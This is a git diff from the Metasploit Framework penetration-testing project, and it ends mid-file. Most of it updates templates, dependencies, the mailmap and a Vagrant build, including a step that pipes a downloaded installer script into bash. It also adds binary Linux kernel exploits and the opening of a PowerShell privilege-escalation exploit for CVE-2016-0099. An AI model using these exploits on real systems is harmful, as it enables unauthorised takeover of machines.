diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 0000000000..dfe8c50c1d --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,41 @@ +## Steps to reproduce + +How'd you do it? + +1. ... +2. ... + +This section should also tell us any relevant information about the +environment; for example, if an exploit that used to work is failing, +tell us the victim operating system and service versions. + +## Expected behavior + +What should happen? + +## Current behavior + +What happens instead? + +You might also want to check the last ~1k lines of +`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or +`~/.msf4/logs/framework.log` for relevant stack traces + + +## System stuff + +### Metasploit version + +Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install). + +### I installed Metasploit with: +- [ ] Kali package via apt +- [ ] Omnibus installer (nightly) +- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp) +- [ ] Source install (please specify ruby version) + +### OS + +What OS are you running Metasploit on? + + diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000..cb977a9da4 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,14 @@ + +Tell us what this change does. If you're fixing a bug, please mention +the github issue number. + +## Verification + +List the steps needed to make sure this thing works + +- [ ] Start `msfconsole` +- [ ] `use exploit/windows/smb/ms08_067_netapi` +- [ ] ... +- [ ] **Verify** the thing does what it should +- [ ] **Verify** the thing does not do what it should not + diff --git a/.gitignore b/.gitignore index e83ddb0b91..d128094e0b 100644 --- a/.gitignore +++ b/.gitignore @@ -84,3 +84,4 @@ data/meterpreter/ext_server_pivot.*.dll # Avoid checking in metakitty, the source for # https://rapid7.github.io/metasploit-framework. It's an orphan branch. /metakitty +.vagrant diff --git a/.mailmap b/.mailmap index 3dafb94713..9ae4955497 100644 --- a/.mailmap +++ b/.mailmap @@ -1,8 +1,11 @@ acammack-r7 Adam Cammack bcook-r7 bcook-r7 Brent Cook -bturner-r7 Brandon Turner bpatterson-r7 Brian Patterson +bpatterson-r7 bpatterson-r7 +bturner-r7 Brandon Turner +bwatters-r7 Brendan +bwatters-r7 Brendan Watters cdoughty-r7 Chris Doughty dheiland-r7 Deral Heiland dmaloney-r7 David Maloney @@ -16,30 +19,40 @@ ecarey-r7 Erran Carey farias-r7 Fernando Arias gmikeska-r7 Greg Mikeska gmikeska-r7 Gregory Mikeska +jbarnett-r7 James Barnett jhart-r7 Jon Hart jlee-r7 # aka egypt jlee-r7 kgray-r7 Kyle Gray +khayes-r7 l0gan lsanchez-r7 Lance Sanchez lsanchez-r7 Lance Sanchez lsanchez-r7 Lance Sanchez lsanchez-r7 Lance Sanchez lsanchez-r7 darkbushido lsato-r7 Louis Sato +pbarry-r7 Pearce Barry pdeardorff-r7 Paul Deardorff pdeardorff-r7 pdeardorff-r7 +sdavis-r7 Scott Davis +sdavis-r7 Scott Lee Davis +sdavis-r7 Scott Lee Davis +sgonzalez-r7 Sonny Gonzalez sgonzalez-r7 Sonny Gonzalez shuckins-r7 Samuel Huckins +tdoan-r7 tdoan-r7 +tdoan-r7 thao doan todb-r7 Tod Beardsley todb-r7 Tod Beardsley todb-r7 Tod Beardsley wchen-r7 # aka sinn3r wchen-r7 wvu-r7 William Vu +wvu-r7 William Vu wvu-r7 William Vu -wvu-r7 William Vu wvu-r7 wvu-r7 wwebb-r7 William Webb +wwebb-r7 wwebb-r7 # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -114,6 +127,7 @@ m-1-k-3 Michael Messner Meatballs1 Meatballs1 mubix Rob Fuller +net-ninja Steven Seeley nevdull77 Patrik Karlsson nmonkee nmonkee nullbind nullbind @@ -150,10 +164,11 @@ void-in void_in void-in Waqas Ali zeroSteiner Spencer McIntyre - # Aliases for utility author names. Since they're fake, typos abound -Tab Assassin Tabassassin +Metasploit Bot Metasploit +Jenkins Bot Jenkins Tab Assassin TabAssassin +Tab Assassin Tabassassin Tab Assassin Tabasssassin Tab Assassin URI Assassin diff --git a/.ruby-version b/.ruby-version index ebf14b4698..2bf1c1ccf3 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.1.8 +2.3.1 diff --git a/.travis.yml b/.travis.yml index fe143187a5..33a5af36c4 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,11 +1,22 @@ +sudo: false +group: stable bundler_args: --without coverage development pcap cache: bundler +addons: + postgresql: '9.3' + apt: + packages: + - libpcap-dev + - graphviz +language: ruby +rvm: + - '2.3.1' + env: - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true - RAKE_TASKS=spec SPEC_OPTS="--tag content" - RAKE_TASKS=spec SPEC_OPTS="--tag ~content" -language: ruby matrix: fast_finish: true before_install: @@ -23,9 +34,6 @@ before_script: script: # fail build if db/schema.rb update is not committed - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS -sudo: false -rvm: - - '2.1.8' notifications: irc: "irc.freenode.org#msfnotify" @@ -38,9 +46,3 @@ branches: except: - gh-pages - metakitty - -addons: - postgresql: '9.3' - apt: - packages: - - libpcap-dev diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index c9ccb13e26..49b1890879 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -45,6 +45,8 @@ and Metasploit's [Common Coding Mistakes]. * **Do** specify a descriptive title to make searching for your pull request easier. * **Do** include [console output], especially for witnessable effects in `msfconsole`. * **Do** list [verification steps] so your code is testable. +* **Do** [reference associated issues] in your pull request description +* **Do** write [release notes] once a pull request is landed * **Don't** leave your pull request description blank. * **Don't** abandon your pull request. Being responsive helps us land your code faster. @@ -56,6 +58,10 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow. - It would be even better to set up `msftidy.rb` as a [pre-commit hook]. * **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. +* **Do** include instructions on how to setup the vulnerable environment or software +* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs + + #### Scripts @@ -102,6 +108,8 @@ already way ahead of the curve, so keep it up! [topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches [console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks [verification steps]:https://help.github.com/articles/writing-on-github#task-lists +[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests +[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs [PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940 [PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043 [pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb diff --git a/Gemfile b/Gemfile index 9893680a4d..018ef029b2 100755 --- a/Gemfile +++ b/Gemfile @@ -18,18 +18,21 @@ group :development do gem 'yard' # for development and testing purposes gem 'pry' + # module documentation + gem 'octokit', '~> 4.0' + # rails-upgrade staging gems end group :development, :test do # automatically include factories from spec/factories - gem 'factory_girl_rails', '~> 4.5.0' + gem 'factory_girl_rails' # Make rspec output shorter and more useful - gem 'fivemat', '~> 1.3.1' + gem 'fivemat' # running documentation generation tasks and rspec tasks - gem 'rake', '>= 10.0.0' + gem 'rake' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development - gem 'rspec-rails' , '~> 3.3' + gem 'rspec-rails' end group :test do diff --git a/Gemfile.lock b/Gemfile.lock index 1a1e3d300e..84f3dbb54e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,233 +1,332 @@ PATH remote: . specs: - metasploit-framework (4.11.14) - actionpack (>= 4.0.9, < 4.1.0) - activerecord (>= 4.0.9, < 4.1.0) - activesupport (>= 4.0.9, < 4.1.0) + metasploit-framework (4.12.42) + actionpack (~> 4.2.6) + activerecord (~> 4.2.6) + activesupport (~> 4.2.6) bcrypt + bit-struct filesize - jsobfu (~> 0.4.1) + jsobfu json - metasm (~> 1.0.2) - metasploit-concern (= 1.0.0) - metasploit-credential (= 1.0.1) - metasploit-model (= 1.0.0) - metasploit-payloads (= 1.1.2) - metasploit_data_models (= 1.2.11) + metasm + metasploit-concern + metasploit-credential + metasploit-model + metasploit-payloads (= 1.1.29) + metasploit_data_models + metasploit_payloads-mettle (= 0.0.8) msgpack - network_interface (~> 0.0.1) + nessus_rest + net-ssh + network_interface nokogiri - openssl-ccm (= 1.2.1) - packetfu (= 1.1.11) + octokit + openssl-ccm + openvas-omp + packetfu + patch_finder pcaprub - pg (>= 0.11) + pg railties rb-readline-r7 - recog (= 2.0.14) + recog + redcarpet + rex-arch + rex-bin_tools + rex-core + rex-encoder + rex-exploitation + rex-java + rex-mime + rex-nop + rex-ole + rex-powershell + rex-random_identifier + rex-registry + rex-rop_builder + rex-socket + rex-sslscan + rex-struct2 + rex-text + rex-zip robots - rubyzip (~> 1.1) + rubyntlm + rubyzip sqlite3 + sshkey tzinfo + tzinfo-data + windows_error GEM remote: https://rubygems.org/ specs: - actionmailer (4.0.13) - actionpack (= 4.0.13) - mail (~> 2.5, >= 2.5.4) - actionpack (4.0.13) - activesupport (= 4.0.13) - builder (~> 3.1.0) - erubis (~> 2.7.0) - rack (~> 1.5.2) + actionpack (4.2.7.1) + actionview (= 4.2.7.1) + activesupport (= 4.2.7.1) + rack (~> 1.6) rack-test (~> 0.6.2) - activemodel (4.0.13) - activesupport (= 4.0.13) - builder (~> 3.1.0) - activerecord (4.0.13) - activemodel (= 4.0.13) - activerecord-deprecated_finders (~> 1.0.2) - activesupport (= 4.0.13) - arel (~> 4.0.0) - activerecord-deprecated_finders (1.0.4) - activesupport (4.0.13) - i18n (~> 0.6, >= 0.6.9) - minitest (~> 4.2) - multi_json (~> 1.3) - thread_safe (~> 0.1) - tzinfo (~> 0.3.37) - arel (4.0.2) - arel-helpers (2.2.0) - activerecord (>= 3.1.0, < 5) - aruba (0.6.2) - childprocess (>= 0.3.6) - cucumber (>= 1.1.1) - rspec-expectations (>= 2.7.0) - bcrypt (3.1.10) - builder (3.1.4) - capybara (2.4.4) + rails-dom-testing (~> 1.0, >= 1.0.5) + rails-html-sanitizer (~> 1.0, >= 1.0.2) + actionview (4.2.7.1) + activesupport (= 4.2.7.1) + builder (~> 3.1) + erubis (~> 2.7.0) + rails-dom-testing (~> 1.0, >= 1.0.5) + rails-html-sanitizer (~> 1.0, >= 1.0.2) + activemodel (4.2.7.1) + activesupport (= 4.2.7.1) + builder (~> 3.1) + activerecord (4.2.7.1) + activemodel (= 4.2.7.1) + activesupport (= 4.2.7.1) + arel (~> 6.0) + activesupport (4.2.7.1) + i18n (~> 0.7) + json (~> 1.7, >= 1.7.7) + minitest (~> 5.1) + thread_safe (~> 0.3, >= 0.3.4) + tzinfo (~> 1.1) + addressable (2.5.0) + public_suffix (~> 2.0, >= 2.0.2) + arel (6.0.3) + arel-helpers (2.3.0) + activerecord (>= 3.1.0, < 6) + aruba (0.14.2) + childprocess (~> 0.5.6) + contracts (~> 0.9) + cucumber (>= 1.3.19) + ffi (~> 1.9.10) + rspec-expectations (>= 2.99) + thor (~> 0.19) + bcrypt (3.1.11) + bit-struct (0.15.0) + builder (3.2.2) + capybara (2.10.1) + addressable mime-types (>= 1.16) nokogiri (>= 1.3.3) rack (>= 1.0.0) rack-test (>= 0.5.4) xpath (~> 2.0) - childprocess (0.5.5) + childprocess (0.5.9) ffi (~> 1.0, >= 1.0.11) - coderay (1.1.0) - cucumber (1.3.19) + coderay (1.1.1) + contracts (0.14.0) + cucumber (2.4.0) builder (>= 2.1.2) + cucumber-core (~> 1.5.0) + cucumber-wire (~> 0.0.1) diff-lcs (>= 1.1.3) - gherkin (~> 2.12) + gherkin (~> 4.0) multi_json (>= 1.7.5, < 2.0) multi_test (>= 0.1.2) - cucumber-rails (1.4.2) + cucumber-core (1.5.0) + gherkin (~> 4.0) + cucumber-rails (1.4.5) capybara (>= 1.1.2, < 3) - cucumber (>= 1.3.8, < 2) - mime-types (>= 1.16, < 3) + cucumber (>= 1.3.8, < 4) + mime-types (>= 1.16, < 4) nokogiri (~> 1.5) - rails (>= 3, < 5) + railties (>= 3, < 5.1) + cucumber-wire (0.0.1) diff-lcs (1.2.5) docile (1.1.5) erubis (2.7.0) - factory_girl (4.5.0) + factory_girl (4.7.0) activesupport (>= 3.0.0) - factory_girl_rails (4.5.0) - factory_girl (~> 4.5.0) + factory_girl_rails (4.7.0) + factory_girl (~> 4.7.0) railties (>= 3.0.0) - ffi (1.9.8) + faraday (0.9.2) + multipart-post (>= 1.2, < 3) + ffi (1.9.14) filesize (0.1.1) fivemat (1.3.2) - gherkin (2.12.2) - multi_json (~> 1.3) - hike (1.2.3) + gherkin (4.0.0) i18n (0.7.0) jsobfu (0.4.1) rkelly-remix (= 0.0.6) json (1.8.3) - mail (2.6.3) - mime-types (>= 1.16, < 3) + loofah (2.0.3) + nokogiri (>= 1.5.9) metasm (1.0.2) - metasploit-concern (1.0.0) - activerecord (>= 4.0.9, < 4.1.0) - activesupport (>= 4.0.9, < 4.1.0) - railties (>= 4.0.9, < 4.1.0) - metasploit-credential (1.0.1) - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) - metasploit_data_models (~> 1.0) + metasploit-concern (2.0.1) + activemodel (~> 4.2.6) + activesupport (~> 4.2.6) + railties (~> 4.2.6) + metasploit-credential (2.0.5) + metasploit-concern + metasploit-model + metasploit_data_models pg railties rubyntlm - rubyzip (~> 1.1) - metasploit-model (1.0.0) - activemodel (>= 4.0.9, < 4.1.0) - activesupport (>= 4.0.9, < 4.1.0) - railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.1.2) - metasploit_data_models (1.2.11) - activerecord (>= 4.0.9, < 4.1.0) - activesupport (>= 4.0.9, < 4.1.0) + rubyzip + metasploit-model (2.0.0) + activemodel (~> 4.2.6) + activesupport (~> 4.2.6) + railties (~> 4.2.6) + metasploit-payloads (1.1.29) + metasploit_data_models (2.0.6) + activerecord (~> 4.2.6) + activesupport (~> 4.2.6) arel-helpers - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) + metasploit-concern + metasploit-model pg postgres_ext - railties (>= 4.0.9, < 4.1.0) + railties (~> 4.2.6) recog (~> 2.0) + metasploit_payloads-mettle (0.0.8) method_source (0.8.2) - mime-types (2.6.1) - mini_portile2 (2.0.0) - minitest (4.7.5) - msgpack (0.7.4) - multi_json (1.11.2) + mime-types (3.1) + mime-types-data (~> 3.2015) + mime-types-data (3.2016.0521) + mini_portile2 (2.1.0) + minitest (5.9.1) + msgpack (1.0.2) + multi_json (1.12.1) multi_test (0.1.2) + multipart-post (2.0.0) + nessus_rest (0.1.6) + net-ssh (3.2.0) network_interface (0.0.1) - nokogiri (1.6.7.2) - mini_portile2 (~> 2.0.0.rc2) + nokogiri (1.6.8.1) + mini_portile2 (~> 2.1.0) + octokit (4.6.0) + sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) + openvas-omp (0.0.4) packetfu (1.1.11) network_interface (~> 0.0) pcaprub (~> 0.12) - pcaprub (0.12.1) - pg (0.18.4) + patch_finder (1.0.2) + pcaprub (0.12.4) + pg (0.19.0) pg_array_parser (0.0.9) postgres_ext (3.0.0) activerecord (>= 4.0.0) arel (>= 4.0.1) pg_array_parser (~> 0.0.9) - pry (0.10.1) + pry (0.10.4) coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.5.5) + public_suffix (2.0.4) + rack (1.6.5) rack-test (0.6.3) rack (>= 1.0) - rails (4.0.13) - actionmailer (= 4.0.13) - actionpack (= 4.0.13) - activerecord (= 4.0.13) - activesupport (= 4.0.13) - bundler (>= 1.3.0, < 2.0) - railties (= 4.0.13) - sprockets-rails (~> 2.0) - railties (4.0.13) - actionpack (= 4.0.13) - activesupport (= 4.0.13) + rails-deprecated_sanitizer (1.0.3) + activesupport (>= 4.2.0.alpha) + rails-dom-testing (1.0.7) + activesupport (>= 4.2.0.beta, < 5.0) + nokogiri (~> 1.6.0) + rails-deprecated_sanitizer (>= 1.0.1) + rails-html-sanitizer (1.0.3) + loofah (~> 2.0) + railties (4.2.7.1) + actionpack (= 4.2.7.1) + activesupport (= 4.2.7.1) rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) - rake (10.4.2) + rake (11.3.0) rb-readline-r7 (0.5.2.0) - recog (2.0.14) + recog (2.0.24) nokogiri redcarpet (3.3.4) + rex-arch (0.1.2) + rex-text + rex-bin_tools (0.1.1) + metasm + rex-arch + rex-core + rex-struct2 + rex-text + rex-core (0.1.2) + rex-encoder (0.1.0) + metasm + rex-arch + rex-text + rex-exploitation (0.1.2) + jsobfu + metasm + rex-arch + rex-encoder + rex-text + rex-java (0.1.2) + rex-mime (0.1.1) + rex-text + rex-nop (0.1.0) + rex-arch + rex-ole (0.1.2) + rex-text + rex-powershell (0.1.66) + rex-random_identifier + rex-text + rex-random_identifier (0.1.0) + rex-text + rex-registry (0.1.0) + rex-rop_builder (0.1.0) + metasm + rex-core + rex-text + rex-socket (0.1.0) + rex-core + rex-sslscan (0.1.0) + rex-socket + rex-text + rex-struct2 (0.1.0) + rex-text (0.2.5) + rex-zip (0.1.0) + rex-text rkelly-remix (0.0.6) robots (0.10.1) - rspec-core (3.3.2) - rspec-support (~> 3.3.0) - rspec-expectations (3.3.1) + rspec-core (3.5.4) + rspec-support (~> 3.5.0) + rspec-expectations (3.5.0) diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.3.0) - rspec-mocks (3.3.2) + rspec-support (~> 3.5.0) + rspec-mocks (3.5.0) diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.3.0) - rspec-rails (3.3.3) - actionpack (>= 3.0, < 4.3) - activesupport (>= 3.0, < 4.3) - railties (>= 3.0, < 4.3) - rspec-core (~> 3.3.0) - rspec-expectations (~> 3.3.0) - rspec-mocks (~> 3.3.0) - rspec-support (~> 3.3.0) - rspec-support (3.3.0) - rubyntlm (0.6.0) - rubyzip (1.2.0) - shoulda-matchers (2.8.0) - activesupport (>= 3.0.0) - simplecov (0.9.2) - docile (~> 1.1.0) - multi_json (~> 1.0) - simplecov-html (~> 0.9.0) - simplecov-html (0.9.0) - slop (3.6.0) - sprockets (2.12.3) - hike (~> 1.2) - multi_json (~> 1.0) - rack (~> 1.0) - tilt (~> 1.1, != 1.3.0) - sprockets-rails (2.2.4) + rspec-support (~> 3.5.0) + rspec-rails (3.5.2) actionpack (>= 3.0) activesupport (>= 3.0) - sprockets (>= 2.8, < 4.0) - sqlite3 (1.3.11) + railties (>= 3.0) + rspec-core (~> 3.5.0) + rspec-expectations (~> 3.5.0) + rspec-mocks (~> 3.5.0) + rspec-support (~> 3.5.0) + rspec-support (3.5.0) + rubyntlm (0.6.1) + rubyzip (1.2.0) + sawyer (0.8.0) + addressable (>= 2.3.5, < 2.6) + faraday (~> 0.8, < 0.10) + shoulda-matchers (3.1.1) + activesupport (>= 4.0.0) + simplecov (0.12.0) + docile (~> 1.1.0) + json (>= 1.8, < 3) + simplecov-html (~> 0.10.0) + simplecov-html (0.10.0) + slop (3.6.0) + sqlite3 (1.3.12) + sshkey (1.8.0) thor (0.19.1) thread_safe (0.3.5) - tilt (1.4.1) - timecop (0.7.3) - tzinfo (0.3.45) + timecop (0.8.1) + tzinfo (1.2.2) + thread_safe (~> 0.1) + tzinfo-data (1.2016.9) + tzinfo (>= 1.0.0) + windows_error (0.0.2) xpath (2.0.0) nokogiri (~> 1.3) - yard (0.8.7.6) + yard (0.9.5) PLATFORMS ruby @@ -235,17 +334,18 @@ PLATFORMS DEPENDENCIES aruba cucumber-rails - factory_girl_rails (~> 4.5.0) - fivemat (~> 1.3.1) + factory_girl_rails + fivemat metasploit-framework! + octokit (~> 4.0) pry - rake (>= 10.0.0) + rake redcarpet - rspec-rails (~> 3.3) + rspec-rails shoulda-matchers simplecov timecop yard BUNDLED WITH - 1.11.2 + 1.13.6 diff --git a/Vagrantfile b/Vagrantfile new file mode 100644 index 0000000000..e6bfb9a5ac --- /dev/null +++ b/Vagrantfile @@ -0,0 +1,50 @@ +# -*- mode: ruby -*- +# vi: set ft=ruby : + +Vagrant.configure(2) do |config| + config.ssh.forward_x11 = true + config.vm.box = "ubuntu/trusty64" + # TODO: find a minimal image that keeps up-to-date and + # supports multiple providers + #config.vm.box = "phusion/ubuntu-14.04-amd64" + config.vm.network :forwarded_port, guest: 4444, host: 4444 + config.vm.provider "vmware" do |v| + v.memory = 2048 + v.cpus = 2 + end + config.vm.provider "virtualbox" do |v| + v.memory = 2048 + v.cpus = 2 + end + %w(.vimrc .gitconfig).each do |f| + local = File.expand_path "~/#{f}" + if File.exist? local + config.vm.provision "file", source: local, destination: f + end + end + + [ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images + "apt-get update", + "apt-get dist-upgrade -y", + "apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib", + ].each do |step| + config.vm.provision "shell", inline: step + end + + [ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3", + "curl -L https://get.rvm.io | bash -s stable", + "source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version", + "source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler", + "source ~/.rvm/scripts/rvm && cd /vagrant && bundle", + "mkdir -p ~/.msf4", + ].each do |step| + config.vm.provision "shell", privileged: false, inline: step + end + config.vm.provision "file", source: "config/database.yml.vagrant", destination: "~/.msf4/database.yml" + + config.vm.provision "shell", inline: "sudo -u postgres psql postgres -tAc \"SELECT 1 FROM pg_roles WHERE rolname='vagrant'\" | grep -q 1 || sudo -u postgres createuser -s -e -w vagrant && sudo -u postgres psql -c \"ALTER USER vagrant with ENCRYPTED PASSWORD 'vagrant';\"" + + ["msf_dev_db", "msf_test_db"].each do |database| + config.vm.provision "shell", inline: "sudo -u postgres psql -lqt | awk '{ print $1 }' | grep -w #{database} | wc -l | grep -q 1 || sudo -u postgres createdb --owner vagrant #{database}" + end +end diff --git a/app/concerns/mdm/workspace/boundary_range.rb b/app/concerns/mdm/workspace/boundary_range.rb new file mode 100644 index 0000000000..9470f2fb71 --- /dev/null +++ b/app/concerns/mdm/workspace/boundary_range.rb @@ -0,0 +1,82 @@ +module Mdm::Workspace::BoundaryRange + extend ActiveSupport::Concern + + included do + # + # Validations + # + + validate :boundary_must_be_ip_range + + # + # Instance Methods + # + + # If {#limit_to_network} is disabled, this will always return `true`. + # Otherwise, return `true` only if all of the given IPs are within the + # project {#boundary boundaries}. + + # + # @param ips [String] IP range(s) + # @return [true] if actions on ips are allowed. + # @return [false] if actions are not allowed on ips. + def allow_actions_on?(ips) + return true unless limit_to_network + return true unless boundary + return true if boundary.empty? + boundaries = Shellwords.split(boundary) + return true if boundaries.empty? # It's okay if there is no boundary range after all + given_range = Rex::Socket::RangeWalker.new(ips) + return false unless given_range # Can't do things to nonexistant IPs + allowed = false + boundaries.each do |boundary_range| + ok_range = Rex::Socket::RangeWalker.new(boundary) + allowed = true if ok_range.include_range? given_range + end + return allowed + end + + # Validates that {#boundary} is {#valid_ip_or_range? a valid IP address or + # IP address range}. Due to this not being tested before it was moved here + # from Mdm, the default workspace does not validate. We always validate boundaries + # and a workspace may have a blank default boundary. + # + # @return [void] + def boundary_must_be_ip_range + unless boundary.blank? + begin + boundaries = Shellwords.split(boundary) + rescue ArgumentError + boundaries = [] + end + + boundaries.each do |range| + unless valid_ip_or_range?(range) + errors.add(:boundary, "must be a valid IP range") + end + end + end + end + + # Returns an array of addresses ranges + # + # @return [Array] + def addresses + (boundary || "").split("\n") + end + + private + + # Returns whether `string` is a valid IP address or IP address range. + # + # @return [true] if valid IP address or IP address range. + # @return [false] otherwise. + def valid_ip_or_range?(string) + range = Rex::Socket::RangeWalker.new(string) + range && range.ranges && range.ranges.any? + end + + end + + +end diff --git a/config/database.yml.vagrant b/config/database.yml.vagrant new file mode 100644 index 0000000000..d5a94c96b2 --- /dev/null +++ b/config/database.yml.vagrant @@ -0,0 +1,18 @@ +development: &pgsql + adapter: postgresql + database: msf_dev_db + username: vagrant + password: vagrant + host: localhost + port: 5432 + pool: 200 + timeout: 5 + +production: &production + <<: *pgsql + +test: + <<: *pgsql + database: msf_test_db + username: vagrant + wassword: vagrant diff --git a/config/environments/production.rb b/config/environments/production.rb new file mode 100644 index 0000000000..bd18372cff --- /dev/null +++ b/config/environments/production.rb @@ -0,0 +1,5 @@ +if defined? Metasploit::Framework::Application + Metasploit::Framework::Application.configure do + config.log_level = :info + end +end diff --git a/data/exploits/CVE-2014-0038/recvmmsg b/data/exploits/CVE-2014-0038/recvmmsg new file mode 100644 index 0000000000..fbd9143ffb Binary files /dev/null and b/data/exploits/CVE-2014-0038/recvmmsg differ diff --git a/data/exploits/CVE-2015-1328/1328 b/data/exploits/CVE-2015-1328/1328 new file mode 100644 index 0000000000..dcb7ed42b1 Binary files /dev/null and b/data/exploits/CVE-2015-1328/1328 differ diff --git a/data/exploits/CVE-2015-1328/ofs-lib.so b/data/exploits/CVE-2015-1328/ofs-lib.so new file mode 100644 index 0000000000..70755e998b Binary files /dev/null and b/data/exploits/CVE-2015-1328/ofs-lib.so differ diff --git a/data/exploits/CVE-2015-8660/8660 b/data/exploits/CVE-2015-8660/8660 new file mode 100644 index 0000000000..532d81071c Binary files /dev/null and b/data/exploits/CVE-2015-8660/8660 differ diff --git a/data/exploits/CVE-2016-0099/cve_2016_0099.ps1 b/data/exploits/CVE-2016-0099/cve_2016_0099.ps1 new file mode 100755 index 0000000000..a971c01219 --- /dev/null +++ b/data/exploits/CVE-2016-0099/cve_2016_0099.ps1 @@ -0,0 +1,347 @@ +# Copyright (c) 2016, Ruben Booren (@FuzzySec) +# All rights reserved +Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SQOS + { + public int Length; + public int ImpersonationLevel; + public int ContextTrackingMode; + public bool EffectiveOnly; + } + + public static class Advapi32 + { + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + int logonFlags, + String applicationName, + String commandLine, + int creationFlags, + int environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool SetThreadToken( + ref IntPtr Thread, + IntPtr Token); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool OpenThreadToken( + IntPtr ThreadHandle, + int DesiredAccess, + bool OpenAsSelf, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + int DesiredAccess, + ref IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError=true)] + public extern static bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + } + + public static class Kernel32 + { + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern int GetThreadId(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern int GetProcessIdOfThread(IntPtr handle); + + [DllImport("kernel32.dll",SetLastError=true)] + public static extern int SuspendThread(IntPtr hThread); + + [DllImport("kernel32.dll",SetLastError=true)] + public static extern int ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool TerminateProcess( + IntPtr hProcess, + uint uExitCode); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + int dwDesiredAccess, + bool bInheritHandle, + int dwOptions); + } + + public static class Ntdll + { + [DllImport("ntdll.dll", SetLastError=true)] + public static extern int NtImpersonateThread( + IntPtr ThreadHandle, + IntPtr ThreadToImpersonate, + ref SQOS SecurityQualityOfService); + } +"@ + + function Get-ThreadHandle { + # StartupInfo Struct + $StartupInfo = New-Object STARTUPINFO + $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES + $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() + $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() + $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() + $StartupInfo.cb = 